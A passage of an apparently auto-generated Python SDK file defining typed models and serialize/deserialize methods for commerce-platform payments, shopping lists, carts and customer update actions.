custom: typing.Optional["CustomFieldsDraft"] = None,
transaction: typing.Optional["MyTransactionDraft"] = None
):
self.amount_planned = amount_planned
self.payment_method_info = payment_method_info
self.custom = custom
self.transaction = transaction
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyPaymentDraft":
from ._schemas.me import MyPaymentDraftSchema
return MyPaymentDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentDraftSchema
return MyPaymentDraftSchema().dump(self)
class MyPaymentPagedQueryResponse(_BaseType):
limit: int
count: int
total: typing.Optional[int]
offset: int
results: typing.List["MyPayment"]
def __init__(
self,
*,
limit: int,
count: int,
total: typing.Optional[int] = None,
offset: int,
results: typing.List["MyPayment"]
):
self.limit = limit
self.count = count
self.total = total
self.offset = offset
self.results = results
super().__init__()
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentPagedQueryResponse":
from ._schemas.me import MyPaymentPagedQueryResponseSchema
return MyPaymentPagedQueryResponseSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentPagedQueryResponseSchema
return MyPaymentPagedQueryResponseSchema().dump(self)
class MyPaymentUpdate(_BaseType):
version: int
actions: typing.List["MyPaymentUpdateAction"]
def __init__(self, *, version: int, actions: typing.List["MyPaymentUpdateAction"]):
self.version = version
self.actions = actions
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyPaymentUpdate":
from ._schemas.me import MyPaymentUpdateSchema
return MyPaymentUpdateSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentUpdateSchema
return MyPaymentUpdateSchema().dump(self)
class MyPaymentUpdateAction(_BaseType):
action: str
def __init__(self, *, action: str):
self.action = action
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyPaymentUpdateAction":
if data["action"] == "addTransaction":
from ._schemas.me import MyPaymentAddTransactionActionSchema
return MyPaymentAddTransactionActionSchema().load(data)
if data["action"] == "changeAmountPlanned":
from ._schemas.me import MyPaymentChangeAmountPlannedActionSchema
return MyPaymentChangeAmountPlannedActionSchema().load(data)
if data["action"] == "setCustomField":
from ._schemas.me import MyPaymentSetCustomFieldActionSchema
return MyPaymentSetCustomFieldActionSchema().load(data)
if data["action"] == "setMethodInfoInterface":
from ._schemas.me import MyPaymentSetMethodInfoInterfaceActionSchema
return MyPaymentSetMethodInfoInterfaceActionSchema().load(data)
if data["action"] == "setMethodInfoMethod":
from ._schemas.me import MyPaymentSetMethodInfoMethodActionSchema
return MyPaymentSetMethodInfoMethodActionSchema().load(data)
if data["action"] == "setMethodInfoName":
from ._schemas.me import MyPaymentSetMethodInfoNameActionSchema
return MyPaymentSetMethodInfoNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentUpdateActionSchema
return MyPaymentUpdateActionSchema().dump(self)
class MyShoppingListDraft(_BaseType):
name: "LocalizedString"
description: typing.Optional["LocalizedString"]
line_items: typing.Optional[typing.List["ShoppingListLineItemDraft"]]
text_line_items: typing.Optional[typing.List["TextLineItemDraft"]]
#: The custom fields.
custom: typing.Optional["CustomFieldsDraft"]
#: The shopping list will be deleted automatically if it hasn't been modified for the specified amount of days.
delete_days_after_last_modification: typing.Optional[int]
def __init__(
self,
*,
name: "LocalizedString",
description: typing.Optional["LocalizedString"] = None,
line_items: typing.Optional[typing.List["ShoppingListLineItemDraft"]] = None,
text_line_items: typing.Optional[typing.List["TextLineItemDraft"]] = None,
custom: typing.Optional["CustomFieldsDraft"] = None,
delete_days_after_last_modification: typing.Optional[int] = None
):
self.name = name
self.description = description
self.line_items = line_items
self.text_line_items = text_line_items
self.custom = custom
self.delete_days_after_last_modification = delete_days_after_last_modification
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyShoppingListDraft":
from ._schemas.me import MyShoppingListDraftSchema
return MyShoppingListDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListDraftSchema
return MyShoppingListDraftSchema().dump(self)
class MyShoppingListUpdate(_BaseType):
version: int
actions: typing.List["MyShoppingListUpdateAction"]
def __init__(
self, *, version: int, actions: typing.List["MyShoppingListUpdateAction"]
):
self.version = version
self.actions = actions
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyShoppingListUpdate":
from ._schemas.me import MyShoppingListUpdateSchema
return MyShoppingListUpdateSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListUpdateSchema
return MyShoppingListUpdateSchema().dump(self)
class MyShoppingListUpdateAction(_BaseType):
action: str
def __init__(self, *, action: str):
self.action = action
super().__init__()
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListUpdateAction":
if data["action"] == "addLineItem":
from ._schemas.me import MyShoppingListAddLineItemActionSchema
return MyShoppingListAddLineItemActionSchema().load(data)
if data["action"] == "addTextLineItem":
from ._schemas.me import MyShoppingListAddTextLineItemActionSchema
return MyShoppingListAddTextLineItemActionSchema().load(data)
if data["action"] == "changeLineItemQuantity":
from ._schemas.me import MyShoppingListChangeLineItemQuantityActionSchema
return MyShoppingListChangeLineItemQuantityActionSchema().load(data)
if data["action"] == "changeLineItemsOrder":
from ._schemas.me import MyShoppingListChangeLineItemsOrderActionSchema
return MyShoppingListChangeLineItemsOrderActionSchema().load(data)
if data["action"] == "changeName":
from ._schemas.me import MyShoppingListChangeNameActionSchema
return MyShoppingListChangeNameActionSchema().load(data)
if data["action"] == "changeTextLineItemName":
from ._schemas.me import MyShoppingListChangeTextLineItemNameActionSchema
return MyShoppingListChangeTextLineItemNameActionSchema().load(data)
if data["action"] == "changeTextLineItemQuantity":
from ._schemas.me import (
MyShoppingListChangeTextLineItemQuantityActionSchema,
)
return MyShoppingListChangeTextLineItemQuantityActionSchema().load(data)
if data["action"] == "changeTextLineItemsOrder":
from ._schemas.me import MyShoppingListChangeTextLineItemsOrderActionSchema
return MyShoppingListChangeTextLineItemsOrderActionSchema().load(data)
if data["action"] == "removeLineItem":
from ._schemas.me import MyShoppingListRemoveLineItemActionSchema
return MyShoppingListRemoveLineItemActionSchema().load(data)
if data["action"] == "removeTextLineItem":
from ._schemas.me import MyShoppingListRemoveTextLineItemActionSchema
return MyShoppingListRemoveTextLineItemActionSchema().load(data)
if data["action"] == "setCustomField":
from ._schemas.me import MyShoppingListSetCustomFieldActionSchema
return MyShoppingListSetCustomFieldActionSchema().load(data)
if data["action"] == "setCustomType":
from ._schemas.me import MyShoppingListSetCustomTypeActionSchema
return MyShoppingListSetCustomTypeActionSchema().load(data)
if data["action"] == "setDeleteDaysAfterLastModification":
from ._schemas.me import (
MyShoppingListSetDeleteDaysAfterLastModificationActionSchema,
)
return MyShoppingListSetDeleteDaysAfterLastModificationActionSchema().load(
data
)
if data["action"] == "setDescription":
from ._schemas.me import MyShoppingListSetDescriptionActionSchema
return MyShoppingListSetDescriptionActionSchema().load(data)
if data["action"] == "setLineItemCustomField":
from ._schemas.me import MyShoppingListSetLineItemCustomFieldActionSchema
return MyShoppingListSetLineItemCustomFieldActionSchema().load(data)
if data["action"] == "setLineItemCustomType":
from ._schemas.me import MyShoppingListSetLineItemCustomTypeActionSchema
return MyShoppingListSetLineItemCustomTypeActionSchema().load(data)
if data["action"] == "setTextLineItemCustomField":
from ._schemas.me import (
MyShoppingListSetTextLineItemCustomFieldActionSchema,
)
return MyShoppingListSetTextLineItemCustomFieldActionSchema().load(data)
if data["action"] == "setTextLineItemCustomType":
from ._schemas.me import MyShoppingListSetTextLineItemCustomTypeActionSchema
return MyShoppingListSetTextLineItemCustomTypeActionSchema().load(data)
if data["action"] == "setTextLineItemDescription":
from ._schemas.me import (
MyShoppingListSetTextLineItemDescriptionActionSchema,
)
return MyShoppingListSetTextLineItemDescriptionActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListUpdateActionSchema
return MyShoppingListUpdateActionSchema().dump(self)
class MyTransactionDraft(_BaseType):
#: The time at which the transaction took place.
timestamp: typing.Optional[datetime.datetime]
#: The type of this transaction.
#: Only the `Authorization` or `Charge`
#: TransactionTypes are allowed here.
type: "TransactionType"
amount: "Money"
#: The identifier that is used by the interface that managed the transaction (usually the PSP).
#: If a matching interaction was logged in the interfaceInteractions array,
#: the corresponding interaction should be findable with this ID.
#: The `state` is set to the `Initial` TransactionState.
interaction_id: typing.Optional[str]
def __init__(
self,
*,
timestamp: typing.Optional[datetime.datetime] = None,
type: "TransactionType",
amount: "Money",
interaction_id: typing.Optional[str] = None
):
self.timestamp = timestamp
self.type = type
self.amount = amount
self.interaction_id = interaction_id
super().__init__()
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyTransactionDraft":
from ._schemas.me import MyTransactionDraftSchema
return MyTransactionDraftSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyTransactionDraftSchema
return MyTransactionDraftSchema().dump(self)
class MyCartAddDiscountCodeAction(MyCartUpdateAction):
code: str
def __init__(self, *, code: str):
self.code = code
super().__init__(action="addDiscountCode")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartAddDiscountCodeAction":
from ._schemas.me import MyCartAddDiscountCodeActionSchema
return MyCartAddDiscountCodeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartAddDiscountCodeActionSchema
return MyCartAddDiscountCodeActionSchema().dump(self)
class MyCartAddItemShippingAddressAction(MyCartUpdateAction):
address: "Address"
def __init__(self, *, address: "Address"):
self.address = address
super().__init__(action="addItemShippingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartAddItemShippingAddressAction":
from ._schemas.me import MyCartAddItemShippingAddressActionSchema
return MyCartAddItemShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartAddItemShippingAddressActionSchema
return MyCartAddItemShippingAddressActionSchema().dump(self)
class MyCartAddLineItemAction(MyCartUpdateAction):
custom: typing.Optional["CustomFieldsDraft"]
distribution_channel: typing.Optional["ChannelResourceIdentifier"]
external_tax_rate: typing.Optional["ExternalTaxRateDraft"]
product_id: typing.Optional[str]
variant_id: typing.Optional[int]
sku: typing.Optional[str]
quantity: typing.Optional[float]
supply_channel: typing.Optional["ChannelResourceIdentifier"]
external_price: typing.Optional["Money"]
external_total_price: typing.Optional["ExternalLineItemTotalPrice"]
shipping_details: typing.Optional["ItemShippingDetailsDraft"]
added_at: typing.Optional[datetime.datetime]
def __init__(
self,
*,
custom: typing.Optional["CustomFieldsDraft"] = None,
distribution_channel: typing.Optional["ChannelResourceIdentifier"] = None,
external_tax_rate: typing.Optional["ExternalTaxRateDraft"] = None,
product_id: typing.Optional[str] = None,
variant_id: typing.Optional[int] = None,
sku: typing.Optional[str] = None,
quantity: typing.Optional[float] = None,
supply_channel: typing.Optional["ChannelResourceIdentifier"] = None,
external_price: typing.Optional["Money"] = None,
external_total_price: typing.Optional["ExternalLineItemTotalPrice"] = None,
shipping_details: typing.Optional["ItemShippingDetailsDraft"] = None,
added_at: typing.Optional[datetime.datetime] = None
):
self.custom = custom
self.distribution_channel = distribution_channel
self.external_tax_rate = external_tax_rate
self.product_id = product_id
self.variant_id = variant_id
self.sku = sku
self.quantity = quantity
self.supply_channel = supply_channel
self.external_price = external_price
self.external_total_price = external_total_price
self.shipping_details = shipping_details
self.added_at = added_at
super().__init__(action="addLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartAddLineItemAction":
from ._schemas.me import MyCartAddLineItemActionSchema
return MyCartAddLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartAddLineItemActionSchema
return MyCartAddLineItemActionSchema().dump(self)
class MyCartAddPaymentAction(MyCartUpdateAction):
payment: "PaymentResourceIdentifier"
def __init__(self, *, payment: "PaymentResourceIdentifier"):
self.payment = payment
super().__init__(action="addPayment")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartAddPaymentAction":
from ._schemas.me import MyCartAddPaymentActionSchema
return MyCartAddPaymentActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartAddPaymentActionSchema
return MyCartAddPaymentActionSchema().dump(self)
class MyCartApplyDeltaToLineItemShippingDetailsTargetsAction(MyCartUpdateAction):
line_item_id: str
targets_delta: typing.List["ItemShippingTarget"]
def __init__(
self, *, line_item_id: str, targets_delta: typing.List["ItemShippingTarget"]
):
self.line_item_id = line_item_id
self.targets_delta = targets_delta
super().__init__(action="applyDeltaToLineItemShippingDetailsTargets")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartApplyDeltaToLineItemShippingDetailsTargetsAction":
from ._schemas.me import (
MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema,
)
return MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import (
MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema,
)
return MyCartApplyDeltaToLineItemShippingDetailsTargetsActionSchema().dump(self)
class MyCartChangeLineItemQuantityAction(MyCartUpdateAction):
line_item_id: str
quantity: float
external_price: typing.Optional["Money"]
external_total_price: typing.Optional["ExternalLineItemTotalPrice"]
def __init__(
self,
*,
line_item_id: str,
quantity: float,
external_price: typing.Optional["Money"] = None,
external_total_price: typing.Optional["ExternalLineItemTotalPrice"] = None
):
self.line_item_id = line_item_id
self.quantity = quantity
self.external_price = external_price
self.external_total_price = external_total_price
super().__init__(action="changeLineItemQuantity")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartChangeLineItemQuantityAction":
from ._schemas.me import MyCartChangeLineItemQuantityActionSchema
return MyCartChangeLineItemQuantityActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartChangeLineItemQuantityActionSchema
return MyCartChangeLineItemQuantityActionSchema().dump(self)
class MyCartChangeTaxModeAction(MyCartUpdateAction):
tax_mode: "TaxMode"
def __init__(self, *, tax_mode: "TaxMode"):
self.tax_mode = tax_mode
super().__init__(action="changeTaxMode")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartChangeTaxModeAction":
from ._schemas.me import MyCartChangeTaxModeActionSchema
return MyCartChangeTaxModeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartChangeTaxModeActionSchema
return MyCartChangeTaxModeActionSchema().dump(self)
class MyCartRecalculateAction(MyCartUpdateAction):
update_product_data: typing.Optional[bool]
def __init__(self, *, update_product_data: typing.Optional[bool] = None):
self.update_product_data = update_product_data
super().__init__(action="recalculate")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartRecalculateAction":
from ._schemas.me import MyCartRecalculateActionSchema
return MyCartRecalculateActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartRecalculateActionSchema
return MyCartRecalculateActionSchema().dump(self)
class MyCartRemoveDiscountCodeAction(MyCartUpdateAction):
discount_code: "DiscountCodeReference"
def __init__(self, *, discount_code: "DiscountCodeReference"):
self.discount_code = discount_code
super().__init__(action="removeDiscountCode")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartRemoveDiscountCodeAction":
from ._schemas.me import MyCartRemoveDiscountCodeActionSchema
return MyCartRemoveDiscountCodeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartRemoveDiscountCodeActionSchema
return MyCartRemoveDiscountCodeActionSchema().dump(self)
class MyCartRemoveItemShippingAddressAction(MyCartUpdateAction):
address_key: str
def __init__(self, *, address_key: str):
self.address_key = address_key
super().__init__(action="removeItemShippingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartRemoveItemShippingAddressAction":
from ._schemas.me import MyCartRemoveItemShippingAddressActionSchema
return MyCartRemoveItemShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartRemoveItemShippingAddressActionSchema
return MyCartRemoveItemShippingAddressActionSchema().dump(self)
class MyCartRemoveLineItemAction(MyCartUpdateAction):
line_item_id: str
quantity: typing.Optional[float]
external_price: typing.Optional["Money"]
external_total_price: typing.Optional["ExternalLineItemTotalPrice"]
shipping_details_to_remove: typing.Optional["ItemShippingDetailsDraft"]
def __init__(
self,
*,
line_item_id: str,
quantity: typing.Optional[float] = None,
external_price: typing.Optional["Money"] = None,
external_total_price: typing.Optional["ExternalLineItemTotalPrice"] = None,
shipping_details_to_remove: typing.Optional["ItemShippingDetailsDraft"] = None
):
self.line_item_id = line_item_id
self.quantity = quantity
self.external_price = external_price
self.external_total_price = external_total_price
self.shipping_details_to_remove = shipping_details_to_remove
super().__init__(action="removeLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartRemoveLineItemAction":
from ._schemas.me import MyCartRemoveLineItemActionSchema
return MyCartRemoveLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartRemoveLineItemActionSchema
return MyCartRemoveLineItemActionSchema().dump(self)
class MyCartRemovePaymentAction(MyCartUpdateAction):
payment: "PaymentResourceIdentifier"
def __init__(self, *, payment: "PaymentResourceIdentifier"):
self.payment = payment
super().__init__(action="removePayment")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartRemovePaymentAction":
from ._schemas.me import MyCartRemovePaymentActionSchema
return MyCartRemovePaymentActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartRemovePaymentActionSchema
return MyCartRemovePaymentActionSchema().dump(self)
class MyCartSetBillingAddressAction(MyCartUpdateAction):
address: typing.Optional["Address"]
def __init__(self, *, address: typing.Optional["Address"] = None):
self.address = address
super().__init__(action="setBillingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetBillingAddressAction":
from ._schemas.me import MyCartSetBillingAddressActionSchema
return MyCartSetBillingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetBillingAddressActionSchema
return MyCartSetBillingAddressActionSchema().dump(self)
class MyCartSetCountryAction(MyCartUpdateAction):
#: A two-digit country code as per [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2).
country: typing.Optional[str]
def __init__(self, *, country: typing.Optional[str] = None):
self.country = country
super().__init__(action="setCountry")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetCountryAction":
from ._schemas.me import MyCartSetCountryActionSchema
return MyCartSetCountryActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetCountryActionSchema
return MyCartSetCountryActionSchema().dump(self)
class MyCartSetCustomFieldAction(MyCartUpdateAction):
name: str
value: typing.Optional[typing.Any]
def __init__(self, *, name: str, value: typing.Optional[typing.Any] = None):
self.name = name
self.value = value
super().__init__(action="setCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetCustomFieldAction":
from ._schemas.me import MyCartSetCustomFieldActionSchema
return MyCartSetCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetCustomFieldActionSchema
return MyCartSetCustomFieldActionSchema().dump(self)
class MyCartSetCustomShippingMethodAction(MyCartUpdateAction):
shipping_method_name: str
shipping_rate: "ShippingRateDraft"
tax_category: typing.Optional["TaxCategoryResourceIdentifier"]
external_tax_rate: typing.Optional["ExternalTaxRateDraft"]
def __init__(
self,
*,
shipping_method_name: str,
shipping_rate: "ShippingRateDraft",
tax_category: typing.Optional["TaxCategoryResourceIdentifier"] = None,
external_tax_rate: typing.Optional["ExternalTaxRateDraft"] = None
):
self.shipping_method_name = shipping_method_name
self.shipping_rate = shipping_rate
self.tax_category = tax_category
self.external_tax_rate = external_tax_rate
super().__init__(action="setCustomShippingMethod")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetCustomShippingMethodAction":
from ._schemas.me import MyCartSetCustomShippingMethodActionSchema
return MyCartSetCustomShippingMethodActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetCustomShippingMethodActionSchema
return MyCartSetCustomShippingMethodActionSchema().dump(self)
class MyCartSetCustomTypeAction(MyCartUpdateAction):
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.type = type
self.fields = fields
super().__init__(action="setCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetCustomTypeAction":
from ._schemas.me import MyCartSetCustomTypeActionSchema
return MyCartSetCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetCustomTypeActionSchema
return MyCartSetCustomTypeActionSchema().dump(self)
class MyCartSetDeleteDaysAfterLastModificationAction(MyCartUpdateAction):
delete_days_after_last_modification: typing.Optional[int]
def __init__(
self, *, delete_days_after_last_modification: typing.Optional[int] = None
):
self.delete_days_after_last_modification = delete_days_after_last_modification
super().__init__(action="setDeleteDaysAfterLastModification")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetDeleteDaysAfterLastModificationAction":
from ._schemas.me import MyCartSetDeleteDaysAfterLastModificationActionSchema
return MyCartSetDeleteDaysAfterLastModificationActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetDeleteDaysAfterLastModificationActionSchema
return MyCartSetDeleteDaysAfterLastModificationActionSchema().dump(self)
class MyCartSetLineItemCustomFieldAction(MyCartUpdateAction):
line_item_id: str
name: str
value: typing.Optional[typing.Any]
def __init__(
self, *, line_item_id: str, name: str, value: typing.Optional[typing.Any] = None
):
self.line_item_id = line_item_id
self.name = name
self.value = value
super().__init__(action="setLineItemCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetLineItemCustomFieldAction":
from ._schemas.me import MyCartSetLineItemCustomFieldActionSchema
return MyCartSetLineItemCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetLineItemCustomFieldActionSchema
return MyCartSetLineItemCustomFieldActionSchema().dump(self)
class MyCartSetLineItemCustomTypeAction(MyCartUpdateAction):
line_item_id: str
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
line_item_id: str,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.line_item_id = line_item_id
self.type = type
self.fields = fields
super().__init__(action="setLineItemCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetLineItemCustomTypeAction":
from ._schemas.me import MyCartSetLineItemCustomTypeActionSchema
return MyCartSetLineItemCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetLineItemCustomTypeActionSchema
return MyCartSetLineItemCustomTypeActionSchema().dump(self)
class MyCartSetLineItemDistributionChannelAction(MyCartUpdateAction):
line_item_id: str
distribution_channel: typing.Optional["ChannelResourceIdentifier"]
def __init__(
self,
*,
line_item_id: str,
distribution_channel: typing.Optional["ChannelResourceIdentifier"] = None
):
self.line_item_id = line_item_id
self.distribution_channel = distribution_channel
super().__init__(action="setLineItemDistributionChannel")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetLineItemDistributionChannelAction":
from ._schemas.me import MyCartSetLineItemDistributionChannelActionSchema
return MyCartSetLineItemDistributionChannelActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetLineItemDistributionChannelActionSchema
return MyCartSetLineItemDistributionChannelActionSchema().dump(self)
class MyCartSetLineItemShippingDetailsAction(MyCartUpdateAction):
line_item_id: str
shipping_details: typing.Optional["ItemShippingDetailsDraft"]
def __init__(
self,
*,
line_item_id: str,
shipping_details: typing.Optional["ItemShippingDetailsDraft"] = None
):
self.line_item_id = line_item_id
self.shipping_details = shipping_details
super().__init__(action="setLineItemShippingDetails")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetLineItemShippingDetailsAction":
from ._schemas.me import MyCartSetLineItemShippingDetailsActionSchema
return MyCartSetLineItemShippingDetailsActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetLineItemShippingDetailsActionSchema
return MyCartSetLineItemShippingDetailsActionSchema().dump(self)
class MyCartSetLocaleAction(MyCartUpdateAction):
locale: typing.Optional[str]
def __init__(self, *, locale: typing.Optional[str] = None):
self.locale = locale
super().__init__(action="setLocale")
@classmethod
def deserialize(cls, data: typing.Dict[str, typing.Any]) -> "MyCartSetLocaleAction":
from ._schemas.me import MyCartSetLocaleActionSchema
return MyCartSetLocaleActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetLocaleActionSchema
return MyCartSetLocaleActionSchema().dump(self)
class MyCartSetShippingAddressAction(MyCartUpdateAction):
address: typing.Optional["Address"]
def __init__(self, *, address: typing.Optional["Address"] = None):
self.address = address
super().__init__(action="setShippingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetShippingAddressAction":
from ._schemas.me import MyCartSetShippingAddressActionSchema
return MyCartSetShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetShippingAddressActionSchema
return MyCartSetShippingAddressActionSchema().dump(self)
class MyCartSetShippingMethodAction(MyCartUpdateAction):
shipping_method: typing.Optional["ShippingMethodResourceIdentifier"]
external_tax_rate: typing.Optional["ExternalTaxRateDraft"]
def __init__(
self,
*,
shipping_method: typing.Optional["ShippingMethodResourceIdentifier"] = None,
external_tax_rate: typing.Optional["ExternalTaxRateDraft"] = None
):
self.shipping_method = shipping_method
self.external_tax_rate = external_tax_rate
super().__init__(action="setShippingMethod")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartSetShippingMethodAction":
from ._schemas.me import MyCartSetShippingMethodActionSchema
return MyCartSetShippingMethodActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartSetShippingMethodActionSchema
return MyCartSetShippingMethodActionSchema().dump(self)
class MyCartUpdateItemShippingAddressAction(MyCartUpdateAction):
address: "Address"
def __init__(self, *, address: "Address"):
self.address = address
super().__init__(action="updateItemShippingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCartUpdateItemShippingAddressAction":
from ._schemas.me import MyCartUpdateItemShippingAddressActionSchema
return MyCartUpdateItemShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCartUpdateItemShippingAddressActionSchema
return MyCartUpdateItemShippingAddressActionSchema().dump(self)
class MyCustomerAddAddressAction(MyCustomerUpdateAction):
address: "Address"
def __init__(self, *, address: "Address"):
self.address = address
super().__init__(action="addAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerAddAddressAction":
from ._schemas.me import MyCustomerAddAddressActionSchema
return MyCustomerAddAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerAddAddressActionSchema
return MyCustomerAddAddressActionSchema().dump(self)
class MyCustomerAddBillingAddressIdAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="addBillingAddressId")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerAddBillingAddressIdAction":
from ._schemas.me import MyCustomerAddBillingAddressIdActionSchema
return MyCustomerAddBillingAddressIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerAddBillingAddressIdActionSchema
return MyCustomerAddBillingAddressIdActionSchema().dump(self)
class MyCustomerAddShippingAddressIdAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="addShippingAddressId")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerAddShippingAddressIdAction":
from ._schemas.me import MyCustomerAddShippingAddressIdActionSchema
return MyCustomerAddShippingAddressIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerAddShippingAddressIdActionSchema
return MyCustomerAddShippingAddressIdActionSchema().dump(self)
class MyCustomerChangeAddressAction(MyCustomerUpdateAction):
